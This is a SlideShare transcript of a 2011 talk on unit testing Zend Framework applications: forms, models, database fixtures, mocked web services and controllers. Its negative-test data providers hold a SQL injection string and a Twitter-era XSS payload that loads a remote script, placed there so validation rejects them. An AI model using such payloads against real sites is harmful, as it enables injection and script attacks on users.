SlideShare a Scribd company logo
Unit Testing with
Zend Framework
 PHPBenelux Meeting May 2011
     Haasrode - Belgium
Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
The saga continues…
Zend Webinar




http://www.zend.com/en/resources/webinars/framework
Any reasons not to test?
Most common excuses
• no time
• not within budget
• development team does not know how
• tests are provided after delivery
•…
NO EXCUSES!
The cost of bugs
           Bugs           Project Costs

100



 75



 50



 25



  0
   Start     Milestone1   Milestone2      Milestone3
The cost of bugs
           Bugs          Project Costs                Unittests

100



 75



 50



 25



  0
   Start          Milestone1             Milestone2               Milestone3
Maintainability
•- during development
     test will fail indicating bugs
•- after sales support
    testing if an issue is genuine
 - fixing issues won’t break code base
  ‣ if they do, you need to fix it!
• long term projects
 - refactoring made easy
Remember



“Once a test is made, it will always be tested!”
Unit testing with zend framework PHPBenelux
Confidence
•- for the developer
     code works
•- for the manager
     project succeeds
•- for sales / general management / share holders
     making profit
•- for the customer
    paying for what they want
Unit testing with zend framework PHPBenelux
Unit testing ZF apps
Setting things up
phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
    <testsuite name="Unit test suite">
        <directory>./</directory>
    </testsuite>

   <filter>
       <whitelist>
            <directory suffix=".php">../application/</directory>
            <directory suffix=".php">../library/Mylib/</directory>
            <exclude>
                <directory suffix=".phtml">../application/</directory>
            </exclude>
       </whitelist>
   </filter>

</phpunit>
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path(
    . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path()
);

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

// We wanna catch all errors en strict warnings
error_reporting(E_ALL|E_STRICT);

require_once 'Zend/Application.php';
$application = new Zend_Application(
    APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini'
);

$application->bootstrap();
Zend_Tool since 1.11.4


• provides
 • phpunit.xml
 • bootstrap.php
 • IndexControllerTest.php

                             Ralph Schindler
Start your engines!




 http://www.flickr.com/photos/robdunckley/3781995277
Testing Zend_Form
CommentForm
        Name:
E-mail Address:
      Website:
    Comment:



       Post
Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
    protected $_form;

    protected function setUp()
    {
        $this->_form = new Application_Form_CommentForm();
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_form = null;
    }

}
The good stuff
public function goodData()
{
     return array (
         array ('John Doe', 'john.doe@example.com',
                'http://example.com', 'test comment'),
         array ("Matthew Weier O'Phinney", 'matthew@zend.com',
                'http://weierophinney.net', 'Doing an MWOP-Test'),
         array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
                'http://caseysoftware.com', 'Doing a monkey dance'),
     );
}
/**
  * @dataProvider goodData
  */
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
     $data = array (
         'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
     );
     $this->assertTrue($this->_form->isValid($data));
}
The bad stuff
public function badData()
{
     return array (
         array ('','','',''),
         array ("Robert'; DROP TABLES comments; --", '',
                'http://xkcd.com/327/','Little Bobby Tables'),
         array (str_repeat('x', 100000), '', '', ''),
         array ('John Doe', 'jd@example.com',
                "http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
                'exploit twitter 9/21/2010'),
     );
}
/**
  * @dataProvider badData
  */
public function testFormRejectsBadData($name, $email, $web, $comment)
{
     $data = array (
         'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
     );
     $this->assertFalse($this->_form->isValid($data));
}
Create the form class
<?php

class Application_Form_CommentForm extends Zend_Form
{

    public function init()
    {
        /* Form Elements & Other Definitions Here ... */
    }


}
Let’s run the test
Let’s put in our elements
<?php

class Application_Form_CommentForm extends Zend_Form
{

    public function init()
    {
        $this->addElement('text', 'name', array (
            'Label' => 'Name', 'Required' => true));
        $this->addElement('text', 'mail', array (
            'Label' => 'E-mail Address', 'Required' => true));
        $this->addElement('text', 'web', array (
            'Label' => 'Website', 'Required' => false));
        $this->addElement('textarea', 'comment', array (
            'Label' => 'Comment', 'Required' => true));
        $this->addElement('submit', 'post', array (
            'Label' => 'Post', 'Ignore' => true));
    }


}
Less errors?
Filter - Validate
$this->addElement('text', 'name', array (
    'Label' => 'Name', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
        new Zftest_Validate_Mwop(),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'mail', array (
    'Label' => 'E-mail Address', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
        new Zend_Validate_EmailAddress(),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'web', array (
    'Label' => 'Website', 'Required' => false,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
        new Zend_Validate_Callback(array('Zend_Uri', 'check')),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('textarea', 'comment', array (
    'Label' => 'Comment', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
        new Zftest_Validate_TextBox(),
        new Zend_Validate_StringLength(array ('max' => 5000))),
));
Green, warm & fuzzy
You’re a winner!


☑ quality code
☑ tested
☑ secure
☑ reusable
Testing models
Testing business logic
•- models contain logic
   tied to your business
 - tied to your storage
 - tied to your resources
• no “one size fits all” solution
Type: data containers
•- contains structured data
    populated through setters and getters
•- perform logic tied to it’s purpose
   transforming data
 - filtering data
 - validating data
• can convert into other data types
 - arrays
 - strings (JSON, serialized, xml, …)
• are providers to other models
Comment Class
Writing model test
<?php
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
{
    protected $_comment;
    protected function setUp()
    {
        $this->_comment = new Application_Model_Comment();
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_comment = null;
    }
    public function testModelIsEmptyAtConstruct()
    {
        $this->assertSame(0, $this->_comment->getId());
        $this->assertNull($this->_comment->getFullName());
        $this->assertNull($this->_comment->getEmailAddress());
        $this->assertNull($this->_comment->getWebsite());
        $this->assertNull($this->_comment->getComment());
    }
}
This test won’t run!
Create a simple model
<?php

class Application_Model_Comment
{
    protected $_id = 0; protected $_fullName; protected $_emailAddress;
    protected $_website; protected $_comment;

    public   function setId($id) { $this->_id = (int) $id; return $this; }
    public   function getId() { return $this->_id; }
    public   function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
    public   function getFullName() { return $this->_fullName; }
    public   function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
    public   function getEmailAddress() { return $this->_emailAddress; }
    public   function setWebsite($website) { $this->_website = (string) $website; return $this; }
    public   function getWebsite() { return $this->_website; }
    public   function setComment($comment) { $this->_comment = (string) $comment; return $this; }
    public   function getComment() { return $this->_comment; }
    public   function populate($row) {
        if   (is_array($row)) {
              $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
        }
        if   (isset   ($row->id)) $this->setId($row->id);
        if   (isset   ($row->fullName)) $this->setFullName($row->fullName);
        if   (isset   ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
        if   (isset   ($row->website)) $this->setWebsite($row->website);
        if   (isset   ($row->comment)) $this->setComment($row->comment);
    }
    public function toArray()     {
        return array (
            'id'           =>     $this->getId(),
            'fullName'     =>     $this->getFullName(),
            'emailAddress' =>     $this->getEmailAddress(),
            'website'      =>     $this->getWebsite(),
            'comment'      =>     $this->getComment(),
        );
    }
}
We pass the test…
Really ???
Not all data from form!
•- model can be populated from
    users through the form
 - data stored in the database
 - a webservice (hosted by us or others)
• simply test it
 - by using same test scenario’s from our form
The good stuff
public function goodData()
{
     return array (
         array ('John Doe', 'john.doe@example.com',
                'http://example.com', 'test comment'),
         array ("Matthew Weier O'Phinney", 'matthew@zend.com',
                'http://weierophinney.net', 'Doing an MWOP-Test'),
         array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
                'http://caseysoftware.com', 'Doing a monkey dance'),
     );
}
/**
  * @dataProvider goodData
  */
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
     $data = array (
         'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
     );
     try {
         $this->_comment->populate($data);
     } catch (Zend_Exception $e) {
         $this->fail('Unexpected exception should not be triggered');
     }
     $data['id'] = 0;
     $data['emailAddress'] = strtolower($data['emailAddress']);
     $data['website'] = strtolower($data['website']);
     $this->assertSame($this->_comment->toArray(), $data);
}
The bad stuff
public function badData()
{
     return array (
         array ('','','',''),
         array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
         array (str_repeat('x', 1000), '', '', ''),
         array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
     );
}
/**
  * @dataProvider badData
  */
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
     $data = array (
         'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
     );
     try {
         $this->_comment->populate($data);
     } catch (Zend_Exception $e) {
         return;
     }
     $this->fail('Expected exception should be triggered');

}
Let’s run it
Modify our model
protected $_filters;
protected $_validators;

public function __construct($params = null)
{
    $this->_filters = array (
        'id' => array ('Int'),
        'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
        'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
        'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
     'comment' => array ('StringTrim', 'StripTags'),
    );
    $this->_validators = array (
        'id' => array ('Int'),
        'fullName' => array (
            new Zftest_Validate_Mwop(),
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
        'emailAddress' => array (
            'EmailAddress',
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
        'website' => array (
            new Zend_Validate_Callback(array('Zend_Uri', 'check')),
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
     'comment' => array (
            new Zftest_Validate_TextBox(),
            new Zend_Validate_StringLength(array ('max' => 5000)),
        ),
    );
    if (null !== $params) { $this->populate($params); }
}
Modify setters: Id & name
public function setId($id)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('id' => $id));
    if (!$input->isValid('id')) {
        throw new Zend_Exception('Invalid ID provided');
    }
    $this->_id = (int) $input->id;
    return $this;
}

public function setFullName($fullName)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('fullName' => $fullName));
    if (!$input->isValid('fullName')) {
        throw new Zend_Exception('Invalid fullName provided');
    }
    $this->_fullName = (string) $input->fullName;
    return $this;
}
Email & website
public function setEmailAddress($emailAddress)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('emailAddress' => $emailAddress));
    if (!$input->isValid('emailAddress')) {
        throw new Zend_Exception('Invalid emailAddress provided');
    }
    $this->_emailAddress = (string) $input->emailAddress;
    return $this;
}

public function setWebsite($website)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('website' => $website));
    if (!$input->isValid('website')) {
        throw new Zend_Exception('Invalid website provided');
    }
    $this->_website = (string) $input->website;
    return $this;
}
and comment
public function setComment($comment)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('comment' => $comment));
    if (!$input->isValid('comment')) {
        throw new Zend_Exception('Invalid comment provided');
    }
    $this->_comment = (string) $input->comment;
    return $this;
}
Now we’re good!
Testing Databases
Integration Testing
•- database specific functionality
   triggers
 - constraints
 - stored procedures
 - sharding/scalability
• data input/output
 - correct encoding of data
 - transactions execution and rollback
Points of concern
•- beware of automated data types
   auto increment sequence ID’s
 - default values like CURRENT_TIMESTAMP
• beware of time related issues
 - timestamp vs. datetime
 - UTC vs. local time
The domain Model
• Model object
• Mapper object
• Table gateway object

    Read more about it
Change our test class

class Application_Model_CommentTest
   extends PHPUnit_Framework_TestCase

becomes

class Application_Model_CommentTest
   extends Zend_Test_PHPUnit_DatabaseTestCase
Setting DB Testing up
protected $_connectionMock;

public function getConnection()
{
    if (null === $this->_dbMock) {
        $this->bootstrap = new Zend_Application(
            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
        $this->bootstrap->bootstrap('db');
        $db = $this->bootstrap->getBootstrap()->getResource('db');
        $this->_connectionMock = $this->createZendDbConnection(
            $db, 'zftest'
        );
        return $this->_connectionMock;
    }
}

public function getDataSet()
{
    return $this->createFlatXmlDataSet(
        realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}
initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing SELECT
public function testDatabaseCanBeRead()
{
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
selectDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing UPDATE
public function testDatabaseCanBeUpdated()
{
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment);
    $comment->setComment('I like you picking up the challenge!');
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
updateDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I like you picking up the challenge!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing DELETE
public function testDatabaseCanDeleteAComment()
{
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment)
           ->delete($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
deleteDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing INSERT
public function testDatabaseCanAddAComment()
{
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
            ->setEmailAddress('dragonbe@gmail.com')
            ->setWebsite('http://www.dragonbe.com')
            ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
      id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
    <comment
      id="3"
       fullName="Michelangelo van Dam"
       emailAddress="dragonbe@gmail.com"
       website="http://www.dragonbe.com"
       comment="Unit Testing, It is so addictive!!!"/>
</dataset>
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filter
public function testDatabaseCanAddAComment()
{
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
            ->setEmailAddress('dragonbe@gmail.com')
            ->setWebsite('http://www.dragonbe.com')
            ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
            $ds, array ('comment' => array ('id')));

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $filteredDs);
}
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
    <comment
       fullName="Michelangelo van Dam"
       emailAddress="dragonbe@gmail.com"
       website="http://www.dragonbe.com"
       comment="Unit Testing, It is so addictive!!!"/>
</dataset>
Run Test
Testing web services
Web services remarks
•- you need to comply with an API
    that will be your reference
•- you cannot always make a test-call
     paid services per call
 -   test environment is “offline”
 -   network related issues
Example: joind.in
http://joind.in/api
JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
    protected $_joindin;
    protected $_settings;

    protected function setUp()
    {
        $this->_joindin = new Zftest_Service_Joindin();
        $settings = simplexml_load_file(realpath(
            APPLICATION_PATH . '/../tests/_files/settings.xml'));
        $this->_settings = $settings->joindin;
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_joindin = null;
    }
}
JoindinTest
public function testJoindinCanGetUserDetails()
{
    $expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</
ID><last_login>1303248639</last_login></item></response>';
    $this->_joindin->setUsername($this->_settings->username)
                   ->setPassword($this->_settings->password);
    $actual = $this->_joindin->user()->getDetail();
    $this->assertXmlStringEqualsXmlString($expected, $actual);
}

public function testJoindinCanCheckStatus()
{
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
    $actual = $this->_joindin->site()->getStatus('testing unit test');
    $this->assertXmlStringEqualsXmlString($expected, $actual);
}
Testing the service
Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
      <ID>19</ID>
-     <last_login>1303248639</last_login>
+     <last_login>1303250271</last_login>
    </item>
  </response>


                      I recently logged in ✔
Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
      <ID>19</ID>
-     <last_login>1303248639</last_login>
+     <last_login>1303250271</last_login>
    </item>
  </response>


                      I recently logged in ✔
And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
 <?xml version="1.0"?>
 <response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
   <test_string>testing unit test</test_string>
 </response>
                Latency of the network 1s ☹
And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
 <?xml version="1.0"?>
 <response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
   <test_string>testing unit test</test_string>
 </response>
                Latency of the network 1s ☹
Solution… right here!
Your expectations
JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
    protected $_joindin;
    protected $_settings;

    protected function setUp()
    {
        $this->_joindin = new Zftest_Service_Joindin();
        $client = new Zend_Http_Client();
        $client->setAdapter(new Zend_Http_Client_Adapter_Test());
        $this->_joindin->setClient($client);
        $settings = simplexml_load_file(realpath(
            APPLICATION_PATH . '/../tests/_files/settings.xml'));
        $this->_settings = $settings->joindin;
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_joindin = null;
    }
}
JoindinUserMockTest
public function testJoindinCanGetUserDetails()
{
    $response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml

<?xml version="1.0"?>
<response>
  <item>
     <username>DragonBe</username>
     <full_name>Michelangelo van Dam</full_name>
     <ID>19</ID>
     <last_login>1303248639</last_login>
  </item>
</response>
EOS;
     $client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
     $expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</
last_login></item></response>';
     $this->_joindin->setUsername($this->_settings->username)
                    ->setPassword($this->_settings->password);
     $actual = $this->_joindin->user()->getDetail();
     $this->assertXmlStringEqualsXmlString($expected, $actual);
}
JoindinStatusMockTest
public function testJoindinCanCheckStatus()
{
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml

<?xml version="1.0"?>
<response>
  <dt>{$date->format('r')}</dt>
  <test_string>testing unit test</test_string>
</response>
EOS;
     $client = $this->_joindin->getClient()
                              ->getAdapter()->setResponse($response);
     $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
     $actual = $this->_joindin->site()->getStatus('testing unit test');
     $this->assertXmlStringEqualsXmlString($expected, $actual);
}
Good implementation?
Controller Testing
Our form flow
Setting up ControllerTest
<?php

class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{

    public function setUp()
    {
        $this->bootstrap = new Zend_Application(
            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
        parent::setUp();
    }
}
Testing if form is on page
public function testIndexAction()
{
    $params = array(
        'action' => 'index',
        'controller' => 'index',
        'module' => 'default'
    );
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);

    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertQueryContentContains(
        'h1#pageTitle', 'Please leave a comment');
    $this->assertQueryCount('form#commentForm', 1);
}
Test processing
public function testProcessAction()
{
    $testData = array (
        'name'    => 'testUser',
        'mail'    => 'test@example.com',
        'web'     => 'http://www.example.com',
        'comment' => 'This is a test comment',
    );
    $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->request->setMethod('post');
    $this->request->setPost($testData);
    $this->dispatch($url);

    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);

    $this->assertResponseCode(302);
    $this->assertRedirectTo('/index/success');

    $this->resetRequest();
    $this->resetResponse();
    $this->dispatch('/index/success');
    $this->assertQueryContentContains('span#fullName', $testData['name']);
}
REMARK
•- data providers can be used
   to test valid data
 - to test invalid data
• but we know it’s taken care of our model
 - just checking for error messages in form
Test if we hit home
public function testSuccessAction()
{
    $params = array(
        'action' => 'success',
        'controller' => 'index',
        'module' => 'default'
    );
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);

    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);

    $this->assertRedirectTo('/');
}
Running the tests
Testing it all
Testing it all
Our progress report
Conclusion
• unit testing is simple
• combine integration tests with unit tests
• test what counts
• mock out what’s remote
Thank you
• source code:
     http://github.com/DragonBe/zftest

• your rating:
     http://joind.in/3381

•- follow me:
      twitter: @DragonBe
 -    facebook: DragonBe

              Please use joind.in for feedback
Ad

Recommended

Unit testing with zend framework tek11
Unit testing with zend framework tek11
Michelangelo van Dam
 
Unit testing zend framework apps
Unit testing zend framework apps
Michelangelo van Dam
 
PHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the tests
Michelangelo van Dam
 
QA for PHP projects
QA for PHP projects
Michelangelo van Dam
 
PHPunit and you
PHPunit and you
markstory
 
Advanced php testing in action
Advanced php testing in action
Jace Ju
 
Refactoring using Codeception
Refactoring using Codeception
Jeroen van Dijk
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12
Michelangelo van Dam
 
Separation of concerns - DPC12
Separation of concerns - DPC12
Stephan Hochdörfer
 
Php unit the-mostunknownparts
Php unit the-mostunknownparts
Bastian Feder
 
Symfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technology
Daniel Knell
 
Zf2 how arrays will save your project
Zf2 how arrays will save your project
Michelangelo van Dam
 
international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secrets
smueller_sandsmedia
 
Decoupling with Design Patterns and Symfony2 DIC
Decoupling with Design Patterns and Symfony2 DIC
Konstantin Kudryashov
 
Mocking Demystified
Mocking Demystified
Marcello Duarte
 
Min-Maxing Software Costs - Laracon EU 2015
Min-Maxing Software Costs - Laracon EU 2015
Konstantin Kudryashov
 
Min-Maxing Software Costs
Min-Maxing Software Costs
Konstantin Kudryashov
 
購物車程式架構簡介
購物車程式架構簡介
Jace Ju
 
PHPUnit でよりよくテストを書くために
PHPUnit でよりよくテストを書くために
Yuya Takeyama
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnit
mfrost503
 
Crafting beautiful software
Crafting beautiful software
Jorn Oomen
 
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Colin O'Dell
 
Design how your objects talk through mocking
Design how your objects talk through mocking
Konstantin Kudryashov
 
R57shell
R57shell
ady36
 
Zero to SOLID
Zero to SOLID
Vic Metcalfe
 
November Camp - Spec BDD with PHPSpec 2
November Camp - Spec BDD with PHPSpec 2
Kacper Gunia
 
Adding Dependency Injection to Legacy Applications
Adding Dependency Injection to Legacy Applications
Sam Hennessy
 
CakePHP workshop
CakePHP workshop
Walther Lalk
 
Laravel tips
Laravel tips
Morten Bergset
 
Express yourself
Express yourself
Yaniv Rodenski
 

More Related Content

What's hot (20)

Separation of concerns - DPC12
Separation of concerns - DPC12
Stephan Hochdörfer
 
Php unit the-mostunknownparts
Php unit the-mostunknownparts
Bastian Feder
 
Symfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technology
Daniel Knell
 
Zf2 how arrays will save your project
Zf2 how arrays will save your project
Michelangelo van Dam
 
international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secrets
smueller_sandsmedia
 
Decoupling with Design Patterns and Symfony2 DIC
Decoupling with Design Patterns and Symfony2 DIC
Konstantin Kudryashov
 
Mocking Demystified
Mocking Demystified
Marcello Duarte
 
Min-Maxing Software Costs - Laracon EU 2015
Min-Maxing Software Costs - Laracon EU 2015
Konstantin Kudryashov
 
Min-Maxing Software Costs
Min-Maxing Software Costs
Konstantin Kudryashov
 
購物車程式架構簡介
購物車程式架構簡介
Jace Ju
 
PHPUnit でよりよくテストを書くために
PHPUnit でよりよくテストを書くために
Yuya Takeyama
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnit
mfrost503
 
Crafting beautiful software
Crafting beautiful software
Jorn Oomen
 
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Colin O'Dell
 
